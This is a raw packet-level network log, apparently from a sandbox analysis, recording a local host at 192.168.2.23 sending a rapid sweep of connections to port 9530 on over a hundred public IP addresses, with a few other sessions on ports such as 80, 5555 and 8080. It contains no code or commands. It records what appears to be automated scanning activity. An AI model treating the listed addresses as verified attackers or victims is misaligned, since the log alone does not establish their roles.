May 16, 2024 16:38:50.084692001 CEST	9530	51212	12.26.167.86	192.168.2.23
May 16, 2024 16:38:50.084700108 CEST	9530	38026	120.118.23.244	192.168.2.23
May 16, 2024 16:38:50.084707975 CEST	9530	38638	96.236.208.74	192.168.2.23
May 16, 2024 16:38:50.084714890 CEST	9530	58086	47.90.148.227	192.168.2.23
May 16, 2024 16:38:50.084718943 CEST	9530	36904	198.144.218.243	192.168.2.23
May 16, 2024 16:38:50.084726095 CEST	9530	39582	27.81.179.231	192.168.2.23
May 16, 2024 16:38:50.084734917 CEST	9530	48266	218.100.16.15	192.168.2.23
May 16, 2024 16:38:50.084743977 CEST	9530	37226	179.104.29.4	192.168.2.23
May 16, 2024 16:38:50.084748030 CEST	9530	58256	94.101.210.144	192.168.2.23
May 16, 2024 16:38:50.084755898 CEST	9530	51212	12.26.167.86	192.168.2.23
May 16, 2024 16:38:50.084770918 CEST	9530	41278	107.189.219.88	192.168.2.23
May 16, 2024 16:38:50.084781885 CEST	9530	48296	126.11.95.232	192.168.2.23
May 16, 2024 16:38:50.085928917 CEST	9530	41278	107.189.219.88	192.168.2.23
May 16, 2024 16:38:50.085937977 CEST	9530	53528	85.140.12.220	192.168.2.23
May 16, 2024 16:38:50.085947037 CEST	9530	43074	102.82.64.177	192.168.2.23
May 16, 2024 16:38:50.085956097 CEST	9530	48726	123.0.189.219	192.168.2.23
May 16, 2024 16:38:50.085957050 CEST	41278	9530	192.168.2.23	107.189.219.88
May 16, 2024 16:38:50.085964918 CEST	9530	34660	218.17.96.200	192.168.2.23
May 16, 2024 16:38:50.085973978 CEST	9530	50032	124.211.190.237	192.168.2.23
May 16, 2024 16:38:50.085983992 CEST	9530	53528	85.140.12.220	192.168.2.23
May 16, 2024 16:38:50.085992098 CEST	9530	43074	102.82.64.177	192.168.2.23
May 16, 2024 16:38:50.085994959 CEST	9530	50032	124.211.190.237	192.168.2.23
May 16, 2024 16:38:50.086003065 CEST	9530	49464	153.132.138.1	192.168.2.23
May 16, 2024 16:38:50.086007118 CEST	9530	48250	167.145.240.253	192.168.2.23
May 16, 2024 16:38:50.086016893 CEST	9530	36150	125.114.153.0	192.168.2.23
May 16, 2024 16:38:50.086025000 CEST	9530	48308	182.62.232.233	192.168.2.23
May 16, 2024 16:38:50.086031914 CEST	9530	55480	125.54.186.176	192.168.2.23
May 16, 2024 16:38:50.086040974 CEST	9530	48726	123.0.189.219	192.168.2.23
May 16, 2024 16:38:50.086049080 CEST	9530	34660	218.17.96.200	192.168.2.23
May 16, 2024 16:38:50.086057901 CEST	9530	48250	167.145.240.253	192.168.2.23
May 16, 2024 16:38:50.086066008 CEST	9530	52116	2.23.151.35	192.168.2.23
May 16, 2024 16:38:50.086700916 CEST	9530	56722	218.129.183.16	192.168.2.23
May 16, 2024 16:38:50.086711884 CEST	9530	49464	153.132.138.1	192.168.2.23
May 16, 2024 16:38:50.086715937 CEST	9530	60542	150.229.17.162	192.168.2.23
May 16, 2024 16:38:50.086729050 CEST	9530	57802	220.176.231.41	192.168.2.23
May 16, 2024 16:38:50.086738110 CEST	9530	36150	125.114.153.0	192.168.2.23
May 16, 2024 16:38:50.086741924 CEST	9530	39162	104.236.177.157	192.168.2.23
May 16, 2024 16:38:50.086750984 CEST	9530	42298	114.216.236.200	192.168.2.23
May 16, 2024 16:38:50.086760998 CEST	9530	53422	178.77.1.84	192.168.2.23
May 16, 2024 16:38:50.086769104 CEST	9530	35468	207.226.253.81	192.168.2.23
May 16, 2024 16:38:50.086776972 CEST	9530	48308	182.62.232.233	192.168.2.23
May 16, 2024 16:38:50.086786032 CEST	9530	55480	125.54.186.176	192.168.2.23
May 16, 2024 16:38:50.086790085 CEST	9530	44714	110.91.75.89	192.168.2.23
May 16, 2024 16:38:50.086793900 CEST	9530	57300	130.45.195.8	192.168.2.23
May 16, 2024 16:38:50.086802006 CEST	9530	53422	178.77.1.84	192.168.2.23
May 16, 2024 16:38:50.086805105 CEST	9530	38954	38.49.216.200	192.168.2.23
May 16, 2024 16:38:50.086813927 CEST	9530	37228	23.84.130.194	192.168.2.23
May 16, 2024 16:38:50.086828947 CEST	9530	60542	150.229.17.162	192.168.2.23
May 16, 2024 16:38:50.086839914 CEST	9530	56722	218.129.183.16	192.168.2.23
May 16, 2024 16:38:50.086854935 CEST	38954	9530	192.168.2.23	38.49.216.200
May 16, 2024 16:38:50.086858034 CEST	44714	9530	192.168.2.23	110.91.75.89
May 16, 2024 16:38:50.086858034 CEST	57300	9530	192.168.2.23	130.45.195.8
May 16, 2024 16:38:50.086889982 CEST	37228	9530	192.168.2.23	23.84.130.194
May 16, 2024 16:38:50.087781906 CEST	9530	35508	210.71.101.252	192.168.2.23
May 16, 2024 16:38:50.087794065 CEST	9530	52790	52.66.16.192	192.168.2.23
May 16, 2024 16:38:50.087801933 CEST	9530	57962	87.176.132.147	192.168.2.23
May 16, 2024 16:38:50.087810993 CEST	9530	39162	104.236.177.157	192.168.2.23
May 16, 2024 16:38:50.087815046 CEST	9530	38954	38.49.216.200	192.168.2.23
May 16, 2024 16:38:50.087822914 CEST	9530	37228	23.84.130.194	192.168.2.23
May 16, 2024 16:38:50.087831974 CEST	9530	57036	5.115.112.234	192.168.2.23
May 16, 2024 16:38:50.087840080 CEST	9530	35508	210.71.101.252	192.168.2.23
May 16, 2024 16:38:50.087848902 CEST	9530	44714	110.91.75.89	192.168.2.23
May 16, 2024 16:38:50.087857962 CEST	9530	57962	87.176.132.147	192.168.2.23
May 16, 2024 16:38:50.087867022 CEST	9530	57300	130.45.195.8	192.168.2.23
May 16, 2024 16:38:50.087876081 CEST	9530	58672	138.183.131.103	192.168.2.23
May 16, 2024 16:38:50.087887049 CEST	9530	37334	87.105.179.253	192.168.2.23
May 16, 2024 16:38:50.087893963 CEST	9530	35058	195.30.93.162	192.168.2.23
May 16, 2024 16:38:50.087898016 CEST	9530	42756	167.241.16.204	192.168.2.23
May 16, 2024 16:38:50.087903023 CEST	35508	9530	192.168.2.23	210.71.101.252
May 16, 2024 16:38:50.087908983 CEST	9530	42298	114.216.236.200	192.168.2.23
May 16, 2024 16:38:50.087918997 CEST	9530	57802	220.176.231.41	192.168.2.23
May 16, 2024 16:38:50.087929010 CEST	9530	52116	2.23.151.35	192.168.2.23
May 16, 2024 16:38:50.087937117 CEST	9530	52790	52.66.16.192	192.168.2.23
May 16, 2024 16:38:50.089407921 CEST	9530	57036	5.115.112.234	192.168.2.23
May 16, 2024 16:38:50.089420080 CEST	9530	35468	207.226.253.81	192.168.2.23
May 16, 2024 16:38:50.089427948 CEST	9530	58672	138.183.131.103	192.168.2.23
May 16, 2024 16:38:50.089436054 CEST	9530	37334	87.105.179.253	192.168.2.23
May 16, 2024 16:38:50.089445114 CEST	9530	35058	195.30.93.162	192.168.2.23
May 16, 2024 16:38:50.089453936 CEST	9530	42756	167.241.16.204	192.168.2.23
May 16, 2024 16:38:50.094170094 CEST	9530	59364	20.228.3.244	192.168.2.23
May 16, 2024 16:38:50.094183922 CEST	9530	59364	20.228.3.244	192.168.2.23
May 16, 2024 16:38:50.099039078 CEST	9530	41278	107.189.219.88	192.168.2.23
May 16, 2024 16:38:50.099049091 CEST	9530	38954	38.49.216.200	192.168.2.23
May 16, 2024 16:38:50.099059105 CEST	9530	44714	110.91.75.89	192.168.2.23
May 16, 2024 16:38:50.099067926 CEST	9530	57300	130.45.195.8	192.168.2.23
May 16, 2024 16:38:50.099076033 CEST	9530	37228	23.84.130.194	192.168.2.23
May 16, 2024 16:38:50.099078894 CEST	9530	35508	210.71.101.252	192.168.2.23
May 16, 2024 16:38:50.126174927 CEST	38650	5555	192.168.2.23	213.47.195.110
May 16, 2024 16:38:50.135816097 CEST	33032	7574	192.168.2.23	213.47.195.110
May 16, 2024 16:38:50.164647102 CEST	51580	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.166111946 CEST	7574	33032	213.47.195.110	192.168.2.23
May 16, 2024 16:38:50.166163921 CEST	33032	7574	192.168.2.23	213.47.195.110
May 16, 2024 16:38:50.170942068 CEST	80	51580	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.170994997 CEST	51580	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.179356098 CEST	51580	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.208446980 CEST	5555	38650	213.47.195.110	192.168.2.23
May 16, 2024 16:38:50.213386059 CEST	80	51580	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.213468075 CEST	51580	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.293996096 CEST	5555	38650	213.47.195.110	192.168.2.23
May 16, 2024 16:38:50.294059992 CEST	38650	5555	192.168.2.23	213.47.195.110
May 16, 2024 16:38:50.468628883 CEST	36242	81	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.478414059 CEST	81	36242	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.478476048 CEST	36242	81	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.488486052 CEST	36242	81	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.492691994 CEST	81	36242	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.492760897 CEST	36242	81	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.502285004 CEST	81	36242	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.533780098 CEST	9530	45312	188.74.50.28	192.168.2.23
May 16, 2024 16:38:50.533946037 CEST	45312	9530	192.168.2.23	188.74.50.28
May 16, 2024 16:38:50.534286976 CEST	43928	443	192.168.2.23	91.189.91.42
May 16, 2024 16:38:50.548399925 CEST	9530	45312	188.74.50.28	192.168.2.23
May 16, 2024 16:38:50.548413038 CEST	9530	37358	91.5.206.191	192.168.2.23
May 16, 2024 16:38:50.548680067 CEST	37358	9530	192.168.2.23	91.5.206.191
May 16, 2024 16:38:50.562742949 CEST	9530	37358	91.5.206.191	192.168.2.23
May 16, 2024 16:38:50.766496897 CEST	51584	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.889317989 CEST	80	51584	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.889358997 CEST	51584	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.897927046 CEST	51584	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.975548983 CEST	80	51584	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.975584984 CEST	80	51584	27.92.111.162	192.168.2.23
May 16, 2024 16:38:50.975594044 CEST	9530	41954	60.16.90.147	192.168.2.23
May 16, 2024 16:38:50.975629091 CEST	51584	80	192.168.2.23	27.92.111.162
May 16, 2024 16:38:50.975697041 CEST	41954	9530	192.168.2.23	60.16.90.147
May 16, 2024 16:38:51.032905102 CEST	9530	41954	60.16.90.147	192.168.2.23
May 16, 2024 16:38:51.068317890 CEST	41838	49152	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.097249985 CEST	49152	41838	52.0.66.251	192.168.2.23
May 16, 2024 16:38:51.097316027 CEST	41838	49152	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.107103109 CEST	41838	49152	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.126737118 CEST	49152	41838	52.0.66.251	192.168.2.23
May 16, 2024 16:38:51.126816034 CEST	41838	49152	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.368984938 CEST	47096	8443	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.373908997 CEST	8443	47096	52.0.66.251	192.168.2.23
May 16, 2024 16:38:51.373956919 CEST	47096	8443	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.385078907 CEST	47096	8443	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.425276041 CEST	8443	47096	52.0.66.251	192.168.2.23
May 16, 2024 16:38:51.425326109 CEST	47096	8443	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.676361084 CEST	54934	8080	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.681375980 CEST	8080	54934	52.0.66.251	192.168.2.23
May 16, 2024 16:38:51.681456089 CEST	54934	8080	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.692148924 CEST	54934	8080	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.736088037 CEST	8080	54934	52.0.66.251	192.168.2.23
May 16, 2024 16:38:51.736135960 CEST	54934	8080	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.974735975 CEST	54936	8080	192.168.2.23	52.0.66.251
May 16, 2024 16:38:51.976707935 CEST	55095	9530	192.168.2.23	12.159.71.123
May 16, 2024 16:38:51.976716995 CEST	55095	9530	192.168.2.23	146.194.218.108
May 16, 2024 16:38:51.976744890 CEST	55095	9530	192.168.2.23	95.38.251.201
May 16, 2024 16:38:51.976744890 CEST	55095	9530	192.168.2.23	182.196.102.135
May 16, 2024 16:38:51.976744890 CEST	55095	9530	192.168.2.23	216.113.15.237
May 16, 2024 16:38:51.976744890 CEST	55095	9530	192.168.2.23	181.184.115.140
May 16, 2024 16:38:51.976747036 CEST	55095	9530	192.168.2.23	200.180.209.59
May 16, 2024 16:38:51.976746082 CEST	55095	9530	192.168.2.23	52.10.247.21
May 16, 2024 16:38:51.976744890 CEST	55095	9530	192.168.2.23	184.239.3.224
May 16, 2024 16:38:51.976744890 CEST	55095	9530	192.168.2.23	78.142.95.35
May 16, 2024 16:38:51.976746082 CEST	55095	9530	192.168.2.23	138.149.45.163
May 16, 2024 16:38:51.976746082 CEST	55095	9530	192.168.2.23	128.6.151.74
May 16, 2024 16:38:51.976746082 CEST	55095	9530	192.168.2.23	196.207.6.187
May 16, 2024 16:38:51.976761103 CEST	55095	9530	192.168.2.23	218.32.8.212
May 16, 2024 16:38:51.976768017 CEST	55095	9530	192.168.2.23	66.21.52.212
May 16, 2024 16:38:51.976778984 CEST	55095	9530	192.168.2.23	80.140.161.132
May 16, 2024 16:38:51.976782084 CEST	55095	9530	192.168.2.23	5.74.252.139
May 16, 2024 16:38:51.976782084 CEST	55095	9530	192.168.2.23	138.91.249.106
May 16, 2024 16:38:51.976787090 CEST	55095	9530	192.168.2.23	58.37.245.134
May 16, 2024 16:38:51.976798058 CEST	55095	9530	192.168.2.23	129.213.137.67
May 16, 2024 16:38:51.976798058 CEST	55095	9530	192.168.2.23	218.32.68.1
May 16, 2024 16:38:51.976798058 CEST	55095	9530	192.168.2.23	117.108.108.214
May 16, 2024 16:38:51.976799965 CEST	55095	9530	192.168.2.23	32.242.248.65
May 16, 2024 16:38:51.976799965 CEST	55095	9530	192.168.2.23	181.16.206.159
May 16, 2024 16:38:51.976807117 CEST	55095	9530	192.168.2.23	201.156.81.71
May 16, 2024 16:38:51.976807117 CEST	55095	9530	192.168.2.23	213.127.75.137
May 16, 2024 16:38:51.976807117 CEST	55095	9530	192.168.2.23	148.82.13.159
May 16, 2024 16:38:51.976828098 CEST	55095	9530	192.168.2.23	1.50.192.120
May 16, 2024 16:38:51.976830006 CEST	55095	9530	192.168.2.23	193.250.95.85
May 16, 2024 16:38:51.976831913 CEST	55095	9530	192.168.2.23	218.166.150.2
May 16, 2024 16:38:51.976835012 CEST	55095	9530	192.168.2.23	142.247.137.69
May 16, 2024 16:38:51.976835012 CEST	55095	9530	192.168.2.23	139.89.122.31
May 16, 2024 16:38:51.976835012 CEST	55095	9530	192.168.2.23	217.7.102.196
May 16, 2024 16:38:51.976835012 CEST	55095	9530	192.168.2.23	108.223.179.43
May 16, 2024 16:38:51.976840973 CEST	55095	9530	192.168.2.23	177.166.97.226
May 16, 2024 16:38:51.976843119 CEST	55095	9530	192.168.2.23	126.86.145.38
May 16, 2024 16:38:51.976843119 CEST	55095	9530	192.168.2.23	34.2.32.188
May 16, 2024 16:38:51.976843119 CEST	55095	9530	192.168.2.23	90.24.157.74
May 16, 2024 16:38:51.976845026 CEST	55095	9530	192.168.2.23	91.32.33.30
May 16, 2024 16:38:51.976846933 CEST	55095	9530	192.168.2.23	110.120.106.12
May 16, 2024 16:38:51.976846933 CEST	55095	9530	192.168.2.23	188.123.230.142
May 16, 2024 16:38:51.976846933 CEST	55095	9530	192.168.2.23	135.173.96.126
May 16, 2024 16:38:51.976859093 CEST	55095	9530	192.168.2.23	191.40.212.132
May 16, 2024 16:38:51.976864100 CEST	55095	9530	192.168.2.23	165.197.143.176
May 16, 2024 16:38:51.976864100 CEST	55095	9530	192.168.2.23	103.22.41.47
May 16, 2024 16:38:51.976866007 CEST	55095	9530	192.168.2.23	176.104.104.240
May 16, 2024 16:38:51.976866961 CEST	55095	9530	192.168.2.23	54.155.20.9
May 16, 2024 16:38:51.976866961 CEST	55095	9530	192.168.2.23	182.1.80.178
May 16, 2024 16:38:51.976866961 CEST	55095	9530	192.168.2.23	94.199.187.116
May 16, 2024 16:38:51.976872921 CEST	55095	9530	192.168.2.23	76.38.38.38
May 16, 2024 16:38:51.976876020 CEST	55095	9530	192.168.2.23	216.153.119.104
May 16, 2024 16:38:51.976876020 CEST	55095	9530	192.168.2.23	78.74.66.191
May 16, 2024 16:38:51.976876020 CEST	55095	9530	192.168.2.23	195.113.98.187
May 16, 2024 16:38:51.976876020 CEST	55095	9530	192.168.2.23	86.120.86.249
May 16, 2024 16:38:51.976876020 CEST	55095	9530	192.168.2.23	128.215.128.217
May 16, 2024 16:38:51.976876020 CEST	55095	9530	192.168.2.23	139.53.78.113
May 16, 2024 16:38:51.976885080 CEST	55095	9530	192.168.2.23	54.67.123.150
May 16, 2024 16:38:51.976886034 CEST	55095	9530	192.168.2.23	155.244.222.188
May 16, 2024 16:38:51.976886988 CEST	55095	9530	192.168.2.23	17.34.93.23
May 16, 2024 16:38:51.976886988 CEST	55095	9530	192.168.2.23	53.116.0.123
May 16, 2024 16:38:51.976886988 CEST	55095	9530	192.168.2.23	84.174.50.35
May 16, 2024 16:38:51.976886988 CEST	55095	9530	192.168.2.23	66.81.233.102
May 16, 2024 16:38:51.976891994 CEST	55095	9530	192.168.2.23	102.30.213.106
May 16, 2024 16:38:51.976900101 CEST	55095	9530	192.168.2.23	132.140.67.87
May 16, 2024 16:38:51.976905107 CEST	55095	9530	192.168.2.23	54.249.80.205
May 16, 2024 16:38:51.976905107 CEST	55095	9530	192.168.2.23	184.103.88.123
May 16, 2024 16:38:51.976905107 CEST	55095	9530	192.168.2.23	42.159.192.68
May 16, 2024 16:38:51.976907969 CEST	55095	9530	192.168.2.23	76.236.171.38
May 16, 2024 16:38:51.976907969 CEST	55095	9530	192.168.2.23	150.182.133.125
May 16, 2024 16:38:51.976907969 CEST	55095	9530	192.168.2.23	176.34.191.78
May 16, 2024 16:38:51.976907969 CEST	55095	9530	192.168.2.23	161.169.118.203
May 16, 2024 16:38:51.976917028 CEST	55095	9530	192.168.2.23	62.244.181.77
May 16, 2024 16:38:51.976917982 CEST	55095	9530	192.168.2.23	171.198.0.112
May 16, 2024 16:38:51.976917982 CEST	55095	9530	192.168.2.23	66.237.107.46
May 16, 2024 16:38:51.976922989 CEST	55095	9530	192.168.2.23	148.87.80.5
May 16, 2024 16:38:51.976924896 CEST	55095	9530	192.168.2.23	47.23.253.126
May 16, 2024 16:38:51.976926088 CEST	55095	9530	192.168.2.23	46.188.136.183
May 16, 2024 16:38:51.976926088 CEST	55095	9530	192.168.2.23	164.37.85.105
May 16, 2024 16:38:51.976929903 CEST	55095	9530	192.168.2.23	76.16.201.57
May 16, 2024 16:38:51.976929903 CEST	55095	9530	192.168.2.23	98.58.140.43
May 16, 2024 16:38:51.976929903 CEST	55095	9530	192.168.2.23	61.252.191.131
May 16, 2024 16:38:51.976934910 CEST	55095	9530	192.168.2.23	97.237.110.164
May 16, 2024 16:38:51.976934910 CEST	55095	9530	192.168.2.23	211.98.222.85
May 16, 2024 16:38:51.976937056 CEST	55095	9530	192.168.2.23	200.202.177.105
May 16, 2024 16:38:51.976947069 CEST	55095	9530	192.168.2.23	9.242.152.172
May 16, 2024 16:38:51.976947069 CEST	55095	9530	192.168.2.23	109.12.160.31
May 16, 2024 16:38:51.976952076 CEST	55095	9530	192.168.2.23	79.203.108.69
May 16, 2024 16:38:51.976955891 CEST	55095	9530	192.168.2.23	206.88.173.166
May 16, 2024 16:38:51.976959944 CEST	55095	9530	192.168.2.23	213.159.230.91
May 16, 2024 16:38:51.976964951 CEST	55095	9530	192.168.2.23	48.77.87.46
May 16, 2024 16:38:51.976964951 CEST	55095	9530	192.168.2.23	221.170.45.211
May 16, 2024 16:38:51.976965904 CEST	55095	9530	192.168.2.23	209.69.82.216
May 16, 2024 16:38:51.976965904 CEST	55095	9530	192.168.2.23	181.111.102.204
May 16, 2024 16:38:51.976965904 CEST	55095	9530	192.168.2.23	81.62.140.176
May 16, 2024 16:38:51.976965904 CEST	55095	9530	192.168.2.23	90.142.15.5
May 16, 2024 16:38:51.976967096 CEST	55095	9530	192.168.2.23	148.99.239.184
May 16, 2024 16:38:51.976973057 CEST	55095	9530	192.168.2.23	27.7.174.3
May 16, 2024 16:38:51.976985931 CEST	55095	9530	192.168.2.23	133.253.244.57
May 16, 2024 16:38:51.976985931 CEST	55095	9530	192.168.2.23	216.231.182.3
May 16, 2024 16:38:51.976986885 CEST	55095	9530	192.168.2.23	209.0.75.39
May 16, 2024 16:38:51.976986885 CEST	55095	9530	192.168.2.23	42.151.101.178
May 16, 2024 16:38:51.976986885 CEST	55095	9530	192.168.2.23	51.189.105.240
May 16, 2024 16:38:51.976986885 CEST	55095	9530	192.168.2.23	126.64.175.134
May 16, 2024 16:38:51.976986885 CEST	55095	9530	192.168.2.23	199.131.212.190
May 16, 2024 16:38:51.976994038 CEST	55095	9530	192.168.2.23	161.179.190.186
May 16, 2024 16:38:51.976994991 CEST	55095	9530	192.168.2.23	80.181.235.84
May 16, 2024 16:38:51.976999044 CEST	55095	9530	192.168.2.23	131.230.221.64
May 16, 2024 16:38:51.976999044 CEST	55095	9530	192.168.2.23	111.251.245.246
May 16, 2024 16:38:51.976999044 CEST	55095	9530	192.168.2.23	200.142.49.242
May 16, 2024 16:38:51.977009058 CEST	55095	9530	192.168.2.23	62.109.199.123
May 16, 2024 16:38:51.977010012 CEST	55095	9530	192.168.2.23	49.51.149.152
May 16, 2024 16:38:51.977010012 CEST	55095	9530	192.168.2.23	207.153.78.41
May 16, 2024 16:38:51.977010012 CEST	55095	9530	192.168.2.23	194.167.193.198
May 16, 2024 16:38:51.977025986 CEST	55095	9530	192.168.2.23	68.206.220.9
May 16, 2024 16:38:51.977025986 CEST	55095	9530	192.168.2.23	147.203.194.110
May 16, 2024 16:38:51.977025986 CEST	55095	9530	192.168.2.23	31.229.27.135
May 16, 2024 16:38:51.977026939 CEST	55095	9530	192.168.2.23	188.201.181.97
May 16, 2024 16:38:51.977027893 CEST	55095	9530	192.168.2.23	123.50.235.83
May 16, 2024 16:38:51.977027893 CEST	55095	9530	192.168.2.23	217.98.216.59
May 16, 2024 16:38:51.977027893 CEST	55095	9530	192.168.2.23	87.176.138.11
May 16, 2024 16:38:51.977030039 CEST	55095	9530	192.168.2.23	39.165.241.46
May 16, 2024 16:38:51.977031946 CEST	55095	9530	192.168.2.23	151.43.198.105
May 16, 2024 16:38:51.977031946 CEST	55095	9530	192.168.2.23	85.206.83.203
May 16, 2024 16:38:51.977025986 CEST	55095	9530	192.168.2.23	157.8.125.127
May 16, 2024 16:38:51.977035999 CEST	55095	9530	192.168.2.23	48.213.172.69
May 16, 2024 16:38:51.977037907 CEST	55095	9530	192.168.2.23	178.13.151.62
May 16, 2024 16:38:51.977037907 CEST	55095	9530	192.168.2.23	46.61.132.117
May 16, 2024 16:38:51.977046967 CEST	55095	9530	192.168.2.23	2.189.184.24
May 16, 2024 16:38:51.977046967 CEST	55095	9530	192.168.2.23	170.254.100.189
May 16, 2024 16:38:51.977052927 CEST	55095	9530	192.168.2.23	107.195.25.33
May 16, 2024 16:38:51.977052927 CEST	55095	9530	192.168.2.23	73.191.4.101
May 16, 2024 16:38:51.977054119 CEST	55095	9530	192.168.2.23	108.129.166.14
May 16, 2024 16:38:51.977052927 CEST	55095	9530	192.168.2.23	134.106.170.210
May 16, 2024 16:38:51.977056980 CEST	55095	9530	192.168.2.23	210.244.156.234
May 16, 2024 16:38:51.977056980 CEST	55095	9530	192.168.2.23	204.130.6.215
May 16, 2024 16:38:51.977057934 CEST	55095	9530	192.168.2.23	156.204.90.16
May 16, 2024 16:38:51.977060080 CEST	55095	9530	192.168.2.23	171.117.223.202
May 16, 2024 16:38:51.977060080 CEST	55095	9530	192.168.2.23	17.183.54.118
May 16, 2024 16:38:51.977060080 CEST	55095	9530	192.168.2.23	146.95.19.24
May 16, 2024 16:38:51.977060080 CEST	55095	9530	192.168.2.23	77.63.34.104
May 16, 2024 16:38:51.977066994 CEST	55095	9530	192.168.2.23	65.169.180.74
May 16, 2024 16:38:51.977066994 CEST	55095	9530	192.168.2.23	18.192.167.181
May 16, 2024 16:38:51.977066994 CEST	55095	9530	192.168.2.23	85.121.55.153
May 16, 2024 16:38:51.977070093 CEST	55095	9530	192.168.2.23	195.79.200.25
May 16, 2024 16:38:51.977072001 CEST	55095	9530	192.168.2.23	159.75.99.229
May 16, 2024 16:38:51.977087021 CEST	55095	9530	192.168.2.23	46.226.30.175
May 16, 2024 16:38:51.977089882 CEST	55095	9530	192.168.2.23	160.39.109.232
May 16, 2024 16:38:51.977092028 CEST	55095	9530	192.168.2.23	195.208.55.30
May 16, 2024 16:38:51.977092028 CEST	55095	9530	192.168.2.23	34.229.166.234
May 16, 2024 16:38:51.977092028 CEST	55095	9530	192.168.2.23	54.130.117.83
May 16, 2024 16:38:51.977097988 CEST	55095	9530	192.168.2.23	98.91.219.101
May 16, 2024 16:38:51.977097988 CEST	55095	9530	192.168.2.23	51.26.95.156
May 16, 2024 16:38:51.977097988 CEST	55095	9530	192.168.2.23	129.197.114.181
May 16, 2024 16:38:51.977102995 CEST	55095	9530	192.168.2.23	8.69.79.97
May 16, 2024 16:38:51.977104902 CEST	55095	9530	192.168.2.23	151.110.179.64
May 16, 2024 16:38:51.977104902 CEST	55095	9530	192.168.2.23	109.128.139.111
May 16, 2024 16:38:51.977118969 CEST	55095	9530	192.168.2.23	77.190.179.31
May 16, 2024 16:38:51.977119923 CEST	55095	9530	192.168.2.23	196.40.110.224
May 16, 2024 16:38:51.977119923 CEST	55095	9530	192.168.2.23	188.188.106.250
May 16, 2024 16:38:51.977122068 CEST	55095	9530	192.168.2.23	119.208.143.234
May 16, 2024 16:38:51.977122068 CEST	55095	9530	192.168.2.23	161.79.223.103
May 16, 2024 16:38:51.977122068 CEST	55095	9530	192.168.2.23	162.98.245.90
May 16, 2024 16:38:51.977123976 CEST	55095	9530	192.168.2.23	193.30.127.158
May 16, 2024 16:38:51.977123976 CEST	55095	9530	192.168.2.23	18.32.168.73
May 16, 2024 16:38:51.977123976 CEST	55095	9530	192.168.2.23	68.26.21.49
May 16, 2024 16:38:51.977123976 CEST	55095	9530	192.168.2.23	78.133.164.206
May 16, 2024 16:38:51.977123976 CEST	55095	9530	192.168.2.23	86.21.207.119
May 16, 2024 16:38:51.977132082 CEST	55095	9530	192.168.2.23	78.202.240.246
May 16, 2024 16:38:51.977134943 CEST	55095	9530	192.168.2.23	39.148.181.90
May 16, 2024 16:38:51.977138042 CEST	55095	9530	192.168.2.23	182.186.138.109
May 16, 2024 16:38:51.977144957 CEST	55095	9530	192.168.2.23	75.201.37.94
May 16, 2024 16:38:51.977144957 CEST	55095	9530	192.168.2.23	212.221.201.206
May 16, 2024 16:38:51.977144957 CEST	55095	9530	192.168.2.23	160.158.53.111
May 16, 2024 16:38:51.977145910 CEST	55095	9530	192.168.2.23	196.72.214.113
May 16, 2024 16:38:51.977147102 CEST	55095	9530	192.168.2.23	100.230.225.249
May 16, 2024 16:38:51.977145910 CEST	55095	9530	192.168.2.23	52.62.12.75
May 16, 2024 16:38:51.977147102 CEST	55095	9530	192.168.2.23	95.123.33.136
May 16, 2024 16:38:51.977145910 CEST	55095	9530	192.168.2.23	24.86.81.201
May 16, 2024 16:38:51.977153063 CEST	55095	9530	192.168.2.23	207.207.129.51
May 16, 2024 16:38:51.977154016 CEST	55095	9530	192.168.2.23	91.228.238.228
May 16, 2024 16:38:51.977155924 CEST	55095	9530	192.168.2.23	142.242.21.167
May 16, 2024 16:38:51.977157116 CEST	55095	9530	192.168.2.23	45.139.161.221
May 16, 2024 16:38:51.977157116 CEST	55095	9530	192.168.2.23	188.74.237.119
May 16, 2024 16:38:51.977174044 CEST	55095	9530	192.168.2.23	118.36.249.9
May 16, 2024 16:38:51.977176905 CEST	55095	9530	192.168.2.23	173.243.16.49
May 16, 2024 16:38:51.977176905 CEST	55095	9530	192.168.2.23	52.144.9.62
May 16, 2024 16:38:51.977176905 CEST	55095	9530	192.168.2.23	169.251.209.254
May 16, 2024 16:38:51.977184057 CEST	55095	9530	192.168.2.23	135.235.222.21
May 16, 2024 16:38:51.977184057 CEST	55095	9530	192.168.2.23	164.114.81.195
May 16, 2024 16:38:51.977184057 CEST	55095	9530	192.168.2.23	67.31.219.37
May 16, 2024 16:38:51.977216959 CEST	55095	9530	192.168.2.23	185.41.18.161
May 16, 2024 16:38:51.977216959 CEST	55095	9530	192.168.2.23	203.238.145.10
May 16, 2024 16:38:51.977216959 CEST	55095	9530	192.168.2.23	206.212.158.219
May 16, 2024 16:38:51.977216959 CEST	55095	9530	192.168.2.23	102.192.23.185
May 16, 2024 16:38:51.977216959 CEST	55095	9530	192.168.2.23	98.85.232.131
May 16, 2024 16:38:51.977220058 CEST	55095	9530	192.168.2.23	100.8.237.239
May 16, 2024 16:38:51.977220058 CEST	55095	9530	192.168.2.23	163.249.53.3
May 16, 2024 16:38:51.977221012 CEST	55095	9530	192.168.2.23	58.109.251.112
